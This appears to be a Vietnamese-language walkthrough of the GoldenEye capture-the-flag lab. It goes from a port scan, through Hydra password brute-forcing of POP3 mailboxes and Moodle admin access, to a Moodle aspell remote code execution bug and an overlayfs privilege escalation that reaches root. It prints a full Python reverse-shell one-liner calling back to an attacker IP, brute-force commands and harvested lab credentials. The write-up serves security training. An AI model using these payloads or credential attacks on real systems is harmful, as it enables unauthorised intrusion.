GoldenEye
Bond, James Bond. A guided CTF.
Initial Reconnaissance
Service Scanning
┌──(kali㉿kali)-[~]
└─$ rustscan -a goldeneye.thm -r 1-65535 -- -sV -sC
PORT STATE SERVICE REASON VERSION
25/tcp open smtp syn-ack ttl 60 Postfix smtpd
|_ssl-date: TLS randomness does not represent time
|_smtp-commands: ubuntu, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
| ssl-cert: Subject: commonName=ubuntu
| Issuer: commonName=ubuntu
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2018-04-24T03:22:34
| Not valid after: 2028-04-21T03:22:34
| MD5: cd4a:d178:f216:17fb:21a6:0a16:8f46:c8c6
| SHA-1: fda3:fc7b:6601:4746:96aa:0f56:b126:1c29:36e8:442c
| -----BEGIN CERTIFICATE-----
| MIICsjCCAZqgAwIBAgIJAPokpqPNVgk6MA0GCSqGSIb3DQEBCwUAMBExDzANBgNV
| BAMTBnVidW50dTAeFw0xODA0MjQwMzIyMzRaFw0yODA0MjEwMzIyMzRaMBExDzAN
| BgNVBAMTBnVidW50dTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMM6
| ryxPHxf2wYf7DNTXnW6Hc6wK+O6/3JVeWME041jJdsY2UpxRB6cTmBIv7dAOHZzL
| eSVCfH1P3IS0dvSrqkA+zpPRK3to3SuirknpbPdmsNqMG1SiKLDl01o5LBDgIpcY
| V9JNNjGaxYBlyMjvPDDvgihmJwpb81lArUqDrGJIsIH8J6tqOdLt4DGBXU62sj//
| +IUE4w6c67uMAYQD26ZZH9Op+qJ3OznCTXwmJslIHQLJx+fXG53+BLiV06EGrsOk
| ovnPmixShoaySAsoGm56IIHQUWrCQ03VYHfhCoUviEw02q8oP49PHR1twt+mdj6x
| qZOBlgwHMcWgb1Em40UCAwEAAaMNMAswCQYDVR0TBAIwADANBgkqhkiG9w0BAQsF
| AAOCAQEAfigEwPIFEL21yc3LIzPvHUIvBM5/fWEEv0t+8t5ATPfI6c2Be6xePPm6
| W3bDLDQ30UDFmZpTLgLkfAQRlu4N40rLutTHiAN6RFSdAA8FEj72cwcX99S0kGQJ
| vFCSipVd0fv0wyKLVwbXqb1+JfmepeZVxWFWjiDg+JIBT3VmozKQtrLLL/IrWxGd
| PI2swX8KxikRYskNWW1isMo2ZXXJpdQJKfikSX334D9oUnSiHcLryapCJFfQa81+
| T8rlFo0zan33r9BmA5uOUZ7VlYF4Kn5/soSE9l+JbDrDFOIOOLLILoQUVZcO6rul
| mJjFdmZE4k3QPKz1ksaCAQkQbf3OZw==
|_-----END CERTIFICATE-----
80/tcp open http syn-ack ttl 60 Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: GoldenEye Primary Admin Server
55006/tcp open ssl/pop3 syn-ack ttl 60 Dovecot pop3d
|_ssl-date: TLS randomness does not represent time
|_pop3-capabilities: CAPA TOP USER RESP-CODES AUTH-RESP-CODE PIPELINING SASL(PLAIN) UIDL
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server/organizationalUnitName=localhost/emailAddress=root@localhost
| Issuer: commonName=localhost/organizationName=Dovecot mail server/organizationalUnitName=localhost/emailAddress=root@localhost
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2018-04-24T03:23:52
| Not valid after: 2028-04-23T03:23:52
| MD5: d039:2e71:c76a:2cb3:e694:ec40:7228:ec63
| SHA-1: 9d6a:92eb:5f9f:e9ba:6cbd:dc93:55fa:5754:219b:0b77
| -----BEGIN CERTIFICATE-----
| MIIDnTCCAoWgAwIBAgIJAOZHv9ZnCiJ+MA0GCSqGSIb3DQEBCwUAMGUxHDAaBgNV
| BAoME0RvdmVjb3QgbWFpbCBzZXJ2ZXIxEjAQBgNVBAsMCWxvY2FsaG9zdDESMBAG
| A1UEAwwJbG9jYWxob3N0MR0wGwYJKoZIhvcNAQkBFg5yb290QGxvY2FsaG9zdDAe
| Fw0xODA0MjQwMzIzNTJaFw0yODA0MjMwMzIzNTJaMGUxHDAaBgNVBAoME0RvdmVj
| b3QgbWFpbCBzZXJ2ZXIxEjAQBgNVBAsMCWxvY2FsaG9zdDESMBAGA1UEAwwJbG9j
| YWxob3N0MR0wGwYJKoZIhvcNAQkBFg5yb290QGxvY2FsaG9zdDCCASIwDQYJKoZI
| hvcNAQEBBQADggEPADCCAQoCggEBAMo64gzxBeOvt+rgUQncWU2OJESGR5YJ9Mcd
| h0nF6m0o+zXwvkSx+SW5I3I/mpJugQfsc2lW4txo3xoAbvVgc2kpkkna8ojodTS3
| iUyKXwN3y2KG/jyBcrH+rZcs5FIpt5tDB/F1Uj0cdAUZ+J/v2NEw1w+KjlX2D0Zr
| xpgnJszmEMJ3DxNBc8+JiROMT7V8iYu9/Cd8ulAdS8lSPFE+M9/gZBsRbzRWD3D/
| OtDaPzBTlb6es4NfrfPBanD7zc8hwNL5AypUG/dUhn3k3rjUNplIlVD1lSesI+wM
| 9bIIVo3IFQEqiNnTdFVz4+EOr8hI7SBzsXTOrxtH23NQ6MrGbLUCAwEAAaNQME4w
| HQYDVR0OBBYEFFGO3VTitI69jNHsQzOz/7wwmdfaMB8GA1UdIwQYMBaAFFGO3VTi
| tI69jNHsQzOz/7wwmdfaMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEB
| AMm4cTA4oSLGXG+wwiJWD/2UjXta7XAAzXofrDfkRmjyPhMTsuwzfUbU+hHsVjCi
| CsjV6LkVxedX4+EQZ+wSa6lXdn/0xlNOk5VpMjYkvff0ODTGTmRrKgZV3L7K/p45
| FI1/vD6ziNUlaTzKFPkmW59oGkdXfdJ06Y7uo7WQALn2FI2ZKecDSK0LonWnA61a
| +gXFctOYRnyMtwiaU2+U49O8/vSDzcyF0wD5ltydCAqCdMTeeo+9DNa2u2IOZ4so
| yPyR+bfnTC45hue/yiyOfzDkBeCGBqXFYcox+EUm0CPESYYNk1siFjjDVUNjPGmm
| e1/vPH7tRtldZFSfflyHUsA=
|_-----END CERTIFICATE-----
55007/tcp open pop3 syn-ack ttl 60 Dovecot pop3d
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server/organizationalUnitName=localhost/emailAddress=root@localhost
| Issuer: commonName=localhost/organizationName=Dovecot mail server/organizationalUnitName=localhost/emailAddress=root@localhost
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2018-04-24T03:23:52
| Not valid after: 2028-04-23T03:23:52
| MD5: d039:2e71:c76a:2cb3:e694:ec40:7228:ec63
| SHA-1: 9d6a:92eb:5f9f:e9ba:6cbd:dc93:55fa:5754:219b:0b77
| -----BEGIN CERTIFICATE-----
| MIIDnTCCAoWgAwIBAgIJAOZHv9ZnCiJ+MA0GCSqGSIb3DQEBCwUAMGUxHDAaBgNV
| BAoME0RvdmVjb3QgbWFpbCBzZXJ2ZXIxEjAQBgNVBAsMCWxvY2FsaG9zdDESMBAG
| A1UEAwwJbG9jYWxob3N0MR0wGwYJKoZIhvcNAQkBFg5yb290QGxvY2FsaG9zdDAe
| Fw0xODA0MjQwMzIzNTJaFw0yODA0MjMwMzIzNTJaMGUxHDAaBgNVBAoME0RvdmVj
| b3QgbWFpbCBzZXJ2ZXIxEjAQBgNVBAsMCWxvY2FsaG9zdDESMBAGA1UEAwwJbG9j
| YWxob3N0MR0wGwYJKoZIhvcNAQkBFg5yb290QGxvY2FsaG9zdDCCASIwDQYJKoZI
| hvcNAQEBBQADggEPADCCAQoCggEBAMo64gzxBeOvt+rgUQncWU2OJESGR5YJ9Mcd
| h0nF6m0o+zXwvkSx+SW5I3I/mpJugQfsc2lW4txo3xoAbvVgc2kpkkna8ojodTS3
| iUyKXwN3y2KG/jyBcrH+rZcs5FIpt5tDB/F1Uj0cdAUZ+J/v2NEw1w+KjlX2D0Zr
| xpgnJszmEMJ3DxNBc8+JiROMT7V8iYu9/Cd8ulAdS8lSPFE+M9/gZBsRbzRWD3D/
| OtDaPzBTlb6es4NfrfPBanD7zc8hwNL5AypUG/dUhn3k3rjUNplIlVD1lSesI+wM
| 9bIIVo3IFQEqiNnTdFVz4+EOr8hI7SBzsXTOrxtH23NQ6MrGbLUCAwEAAaNQME4w
| HQYDVR0OBBYEFFGO3VTitI69jNHsQzOz/7wwmdfaMB8GA1UdIwQYMBaAFFGO3VTi
| tI69jNHsQzOz/7wwmdfaMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEB
| AMm4cTA4oSLGXG+wwiJWD/2UjXta7XAAzXofrDfkRmjyPhMTsuwzfUbU+hHsVjCi
| CsjV6LkVxedX4+EQZ+wSa6lXdn/0xlNOk5VpMjYkvff0ODTGTmRrKgZV3L7K/p45
| FI1/vD6ziNUlaTzKFPkmW59oGkdXfdJ06Y7uo7WQALn2FI2ZKecDSK0LonWnA61a
| +gXFctOYRnyMtwiaU2+U49O8/vSDzcyF0wD5ltydCAqCdMTeeo+9DNa2u2IOZ4so
| yPyR+bfnTC45hue/yiyOfzDkBeCGBqXFYcox+EUm0CPESYYNk1siFjjDVUNjPGmm
| e1/vPH7tRtldZFSfflyHUsA=
|_-----END CERTIFICATE-----
|_pop3-capabilities: CAPA STLS USER PIPELINING RESP-CODES AUTH-RESP-CODE UIDL SASL(PLAIN) TOP
|_ssl-date: TLS randomness does not represent timeKhi chạy Nmap, chúng ta thấy có các port đang chạy SMTP, HTTP và thêm 2 port không phổ biến khác chạy POP3, trong đó có một port sử dụng SSL.
HTTP 80

Khi truy cập HTTP web server, chúng ta được chỉ dẫn điều hướng đến /sev-home để login. Tuy nhiên, trước tiên ta xem phần source code của trang để tìm xem có gì đáng chú ý hay không.

Trong số các file, file duy nhất trông đáng quan tâm là terminal.js. File này chứa một tập hợp các giá trị thập phân và được mô tả là một mật khẩu đã được encode, và mật khẩu này có vẻ như thuộc về boris. Chúng ta copy và đưa vào CyberChef và tiến hành decode để thu lại dạng ASCII text.

Chúng ta giải mã được mật khẩu là InvincibleHack3r. Tiếp theo, chúng ta truy cập /sev-home và thử đăng nhập với user boris.


Dịch vụ POP3 được cấu hình chạy trên một port khá cao và không mặc định, rất có thể là 55007.
POP3 55007
Tuy nhiên, khi thử dùng credentials boris:InvincibleHack3r, dịch vụ này không chấp nhận. Chúng ta nên thực hiện dictionary attack để tìm mật khẩu POP3 của boris.
hydra -l boris -P /usr/share/wordlists/fasttrack.txt pop3://goldeneye.thm:55007
Kết quả cho thấy mật khẩu thật sự của boris là secret1!.
Authenticated as boris
Chúng ta đăng nhập POP3 với mật khẩu đã tìm thấy và liệt kê được 3 tin nhắn.
┌──(kali㉿kali)-[~]
└─$ telnet goldeneye.thm 55007
Trying 10.201.109.123...
Connected to goldeneye.thm.
Escape character is '^]'.
+OK GoldenEye POP3 Electronic-Mail System
USER boris
+OK
PASS secret1!
+OK Logged in.
list
+OK 3 messages:
1 544
2 373
3 921
.
retr 1
+OK 544 octets
Return-Path: <root@127.0.0.1.goldeneye>
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from ok (localhost [127.0.0.1])
by ubuntu (Postfix) with SMTP id D9E47454B1
for <boris>; Tue, 2 Apr 1990 19:22:14 -0700 (PDT)
Message-Id: <20180425022326.D9E47454B1@ubuntu>
Date: Tue, 2 Apr 1990 19:22:14 -0700 (PDT)
From: root@127.0.0.1.goldeneye
Boris, this is admin. You can electronically communicate to co-workers and students here. I'm not going to scan emails for security risks because I trust you and the other admins here.
.
retr 2
+OK 373 octets
Return-Path: <natalya@ubuntu>
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from ok (localhost [127.0.0.1])
by ubuntu (Postfix) with ESMTP id C3F2B454B1
for <boris>; Tue, 21 Apr 1995 19:42:35 -0700 (PDT)
Message-Id: <20180425024249.C3F2B454B1@ubuntu>
Date: Tue, 21 Apr 1995 19:42:35 -0700 (PDT)
From: natalya@ubuntu
Boris, I can break your codes!
.
retr 3
+OK 921 octets
Return-Path: <alec@janus.boss>
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from janus (localhost [127.0.0.1])
by ubuntu (Postfix) with ESMTP id 4B9F4454B1
for <boris>; Wed, 22 Apr 1995 19:51:48 -0700 (PDT)
Message-Id: <20180425025235.4B9F4454B1@ubuntu>
Date: Wed, 22 Apr 1995 19:51:48 -0700 (PDT)
From: alec@janus.boss
Boris,
Your cooperation with our syndicate will pay off big. Attached are the final access codes for GoldenEye. Place them in a hidden file within the root directory of this server then remove from this email. There can only be one set of these acces codes, and we need to secure them for the final execution. If they are retrieved and captured our plan will crash and burn!
Once Xenia gets access to the training site and becomes familiar with the GoldenEye Terminal codes we will push to our final stages....
PS - Keep security tight or we will be compromised.Các tin nhắn này không tiết lộ thông tin nhạy cảm, nhưng điều hữu ích là chúng ta biết thêm được 2 user không phải root khác trên hệ thống: natalya và alec.
Có lẽ bước tiếp theo hợp lý là tiến hành dictionary attack để tìm mật khẩu của natalya.
hydra -l natalya -P /usr/share/wordlists/fasttrack.txt pop3://goldeneye.thm:55007 -V
Authenticated as natalya
Chúng ta tiếp tục đăng nhập POP3 với user natalya:
┌──(kali㉿kali)-[~]
└─$ telnet goldeneye.thm 55007
Trying 10.201.21.161...
Connected to goldeneye.thm.
Escape character is '^]'.
+OK GoldenEye POP3 Electronic-Mail System
USER natalya
+OK
PASS bird
+OK Logged in.
LIST
+OK 2 messages:
1 631
2 1048
.
retr 1
+OK 631 octets
Return-Path: <root@ubuntu>
X-Original-To: natalya
Delivered-To: natalya@ubuntu
Received: from ok (localhost [127.0.0.1])
by ubuntu (Postfix) with ESMTP id D5EDA454B1
for <natalya>; Tue, 10 Apr 1995 19:45:33 -0700 (PDT)
Message-Id: <20180425024542.D5EDA454B1@ubuntu>
Date: Tue, 10 Apr 1995 19:45:33 -0700 (PDT)
From: root@ubuntu
Natalya, please you need to stop breaking boris' codes. Also, you are GNO supervisor for training. I will email you once a student is designated to you.
Also, be cautious of possible network breaches. We have intel that GoldenEye is being sought after by a crime syndicate named Janus.
.
retr 2
+OK 1048 octets
Return-Path: <root@ubuntu>
X-Original-To: natalya
Delivered-To: natalya@ubuntu
Received: from root (localhost [127.0.0.1])
by ubuntu (Postfix) with SMTP id 17C96454B1
for <natalya>; Tue, 29 Apr 1995 20:19:42 -0700 (PDT)
Message-Id: <20180425031956.17C96454B1@ubuntu>
Date: Tue, 29 Apr 1995 20:19:42 -0700 (PDT)
From: root@ubuntu
Ok Natalyn I have a new student for you. As this is a new system please let me or boris know if you see any config issues, especially is it's related to security...even if it's not, just enter it in under the guise of "security"...it'll get the change order escalated without much hassle :)
Ok, user creds are:
username: xenia
password: RCP90rulez!
Boris verified her as a valid contractor so just create the account ok?
And if you didn't have the URL on outr internal Domain: severnaya-station.com/gnocertdir
**Make sure to edit your host file since you usually work remote off-network....
Since you're a Linux user just point this servers IP to severnaya-station.com in /etc/hosts.Chúng ta tìm thấy một cặp credentials mới:
username: xenia
password: RCP90rulez!Ngoài ra, chúng ta cần thêm domain severnaya-station.com/gnocertdir vào file /etc/hosts để có thể truy cập.

Moodle Authenticated as xenia
Sau đó, chúng ta truy cập severnaya-station.com/gnocertdir và đăng nhập bằng credentials của Xenia.

Ở đây chúng ta thấy một tin nhắn từ Dr. Doak, nhưng nội dung không có gì thực sự hữu ích.

Tiếp tục, chúng ta thử xác thực dịch vụ POP3 bằng user xenia, nhưng thất bại vì password không được tái sử dụng.

Hướng tiếp theo có thể là thử tấn công password của user doak trên dịch vụ POP3.
┌──(kali㉿kali)-[~]
└─$ hydra -l doak -P /usr/share/wordlists/fasttrack.txt pop3://goldeneye.thm:55007 -V
Authenticated as doak
Chúng ta xác thực POP3 bằng user doak và tiếp tục tìm được thêm credentials khác cho Moodle.
┌──(kali㉿kali)-[~/Desktop]
└─$ telnet goldeneye.thm 55007
Trying 10.201.21.161...
Connected to goldeneye.thm.
Escape character is '^]'.
+OK GoldenEye POP3 Electronic-Mail System
USER doak
+OK
PASS goat
+OK Logged in.
LIST
+OK 1 messages:
1 606
.
retr 1
+OK 606 octets
Return-Path: <doak@ubuntu>
X-Original-To: doak
Delivered-To: doak@ubuntu
Received: from doak (localhost [127.0.0.1])
by ubuntu (Postfix) with SMTP id 97DC24549D
for <doak>; Tue, 30 Apr 1995 20:47:24 -0700 (PDT)
Message-Id: <20180425034731.97DC24549D@ubuntu>
Date: Tue, 30 Apr 1995 20:47:24 -0700 (PDT)
From: doak@ubuntu
James,
If you're reading this, congrats you've gotten this far. You know how tradecraft works right?
Because I don't. Go to our training site and login to my account....dig until you can exfiltrate further information......
username: dr_doak
password: 4England!Moodle Authenticated as dr doak

Sau đó, chúng ta phát hiện một file bí mật dành cho 007, trong đó có thông điệp nói rằng thứ thú vị nằm ở: /dir007key/for-007.jpg.
┌──(kali㉿kali)-[~/Desktop]
└─$ cat s3cret.txt
007,
I was able to capture this apps adm1n cr3ds through clear txt.
Text throughout most web apps within the GoldenEye servers are scanned, so I cannot add the cr3dentials here.
Something juicy is located here: /dir007key/for-007.jpg
Also as you may know, the RCP-90 is vastly superior to any other weapon and License to Kill is the only way to play.
Khi tải bức ảnh này về kiểm tra, theo nội dung thông điệp thì: “I was able to capture this apps adm1n cr3ds through clear txt.” Điều này gợi ý rằng password của Moodle admin có thể là xWinter1995x!.

Moodle Authenticated as admin
Chúng ta xác thực vào Moodle với credentials admin:xWinter1995x! và nhận thấy phiên bản ở đây là Moodle 2.2.3.


Remote Code Execution
Sau khi tìm hiểu, chúng ta phát hiện phiên bản Moodle này tồn tại lỗ hổng Remote Code Execution (CVE-2013-3630). Lỗ hổng này cho phép chạy lệnh tùy ý bằng cách chỉnh sửa cấu hình aspell pathname, rồi kích hoạt spell-check trong TinyMCE editor.


Theo như disscussion tại forum, để thực thi command, chúng ta không chỉ đặt Path to aspell thành payload reverse shell, mà còn phải đổi Spell engine sang PSpellShell. Nếu thiếu bước sau thì command sẽ không được thực thi.
Ở đây chúng ta sẽ sử dụng payload bằng Python:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.17.21.52",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
Shell as www-data
Cuối cùng, chúng ta tạo một blog mới và kích hoạt spell check, từ đó payload được thực thi.


Chúng ta thử tìm xung quanh xem có gì đặc biệt hay không?
www-data@ubuntu:/$ cd /home
cd /home
www-data@ubuntu:/home$ ls -la
ls -la
total 20
drwxr-xr-x 5 root root 4096 Apr 29 2018 .
drwxr-xr-x 22 root root 4096 Apr 24 2018 ..
drwxr-xr-x 3 boris boris 4096 Apr 27 2018 boris
drwxr-xr-x 4 doak doak 4096 Apr 28 2018 doak
drwxr-xr-x 4 natalya natalya 4096 Apr 28 2018 natalya
www-data@ubuntu:/home$ su boris
su boris
Password: secret1!
This account is currently not available.
www-data@ubuntu:/home$ su doak
su doak
Password: goat
This account is currently not available.
www-data@ubuntu:/home$ su natalya
su natalya
Password: bird
This account is currently not available.
www-data@ubuntu:/home$ ls -la boris
ls -la boris
total 32
drwxr-xr-x 3 boris boris 4096 Apr 27 2018 .
drwxr-xr-x 5 root root 4096 Apr 29 2018 ..
-rw-rw-r-- 1 boris boris 63 Apr 28 2018 .bash_history
-rw-r--r-- 1 boris boris 220 Apr 23 2018 .bash_logout
-rw-r--r-- 1 boris boris 3637 Apr 23 2018 .bashrc
drwx------ 2 boris boris 4096 Apr 23 2018 .cache
-rw-r--r-- 1 boris boris 675 Apr 23 2018 .profile
-rw------- 1 boris boris 795 Apr 27 2018 .viminfo
www-data@ubuntu:/home$ ls -la doak
ls -la doak
total 28
drwxr-xr-x 4 doak doak 4096 Apr 28 2018 .
drwxr-xr-x 5 root root 4096 Apr 29 2018 ..
-rw-r--r-- 1 doak doak 220 Apr 24 2018 .bash_logout
-rw-r--r-- 1 doak doak 3637 Apr 24 2018 .bashrc
drwx------ 2 doak doak 4096 Apr 28 2018 .cache
-rw-r--r-- 1 doak doak 675 Apr 24 2018 .profile
drwx------ 3 doak doak 4096 Apr 24 2018 mail
www-data@ubuntu:/home$ ls -la natalya
ls -la natalya
total 28
drwxr-xr-x 4 natalya natalya 4096 Apr 28 2018 .
drwxr-xr-x 5 root root 4096 Apr 29 2018 ..
-rw-r--r-- 1 natalya natalya 220 Apr 24 2018 .bash_logout
-rw-r--r-- 1 natalya natalya 3637 Apr 24 2018 .bashrc
drwx------ 2 natalya natalya 4096 Apr 28 2018 .cache
-rw-r--r-- 1 natalya natalya 675 Apr 24 2018 .profile
drwx------ 3 natalya natalya 4096 Apr 24 2018 mail/etc/passwd
Đọc /etc/passwd để xem các user khác tồn tại trên target.
www-data@ubuntu:/home$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
boris:x:1000:1000:boris,,,:/home/boris:/usr/sbin/nologin
dovecot:x:103:112:Dovecot mail server,,,:/usr/lib/dovecot:/bin/false
dovenull:x:104:113:Dovecot login user,,,:/nonexistent:/bin/false
postfix:x:105:114::/var/spool/postfix:/bin/false
postgres:x:106:116:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
natalya:x:1002:1002:,,,:/home/natalya:/usr/sbin/nologin
doak:x:1001:1001:,,,:/home/doak:/usr/sbin/nologinLinPEAS
Chúng ta sẽ chuyển LinPEAS sang target và chạy để quét các vector leo quyền.


Kết quả cho thấy Linux kernel trên hệ thống dễ bị tấn công thông qua lỗ hổng overlayfs Local Privilege Escalation. Ta có thể tìm exploit này bằng searchsploit.

Shell as root
Trước khi tiến hành, chúng ta cần kiểm tra xem trên target có cài đặt gcc để biên dịch exploit trực tiếp hay không, nếu không thì phải biên dịch bằng docker container rồi chuyển file sang, việc này sẽ mất nhiều công sức hơn.
www-data@ubuntu:/tmp$ gcc
gcc
The program 'gcc' is currently not installed. To run 'gcc' please ask your administrator to install the package 'gcc'
www-data@ubuntu:/tmp$ g++
g++
The program 'g++' is currently not installed. To run 'g++' please ask your administrator to install the package 'g++'
www-data@ubuntu:/tmp$ cc
cc
clang: error: no input files
www-data@ubuntu:/tmp$ c++
c++
clang: error: no input filesDù không có gcc hoặc g++, nhưng may mắn là vẫn có cc và c++.
Sau khi chuyển exploit sang target, chúng ta biên dịch nó bằng cc và chạy thử.


Tuy nhiên, exploit không hoạt động như mong đợi vì trong source code có một đoạn gọi trực tiếp gcc trong system command. Do đó, chúng ta chỉ cần một chỉnh sửa nhỏ, thay đổi gcc thành cc.

Sau khi sửa và chạy lại, chúng ta đã leo quyền thành công và chiếm được root.
flag.txt
## cd /root
cd /root
## ls -la
ls -la
total 44
drwx------ 3 root root 4096 Apr 29 2018 .
drwxr-xr-x 22 root root 4096 Apr 24 2018 ..
-rw-r--r-- 1 root root 19 May 3 2018 .bash_history
-rw-r--r-- 1 root root 3106 Feb 19 2014 .bashrc
drwx------ 2 root root 4096 Apr 28 2018 .cache
-rw------- 1 root root 144 Apr 29 2018 .flag.txt
-rw-r--r-- 1 root root 140 Feb 19 2014 .profile
-rw------- 1 root root 1024 Apr 23 2018 .rnd
-rw------- 1 root root 8296 Apr 29 2018 .viminfo
## cat .flag*
cat .flag*
Alec told me to place the codes here:
568628e0d993b1973adc718237da6e93
If you captured this make sure to go here.....
/006-final/xvf7-flag/Final Message

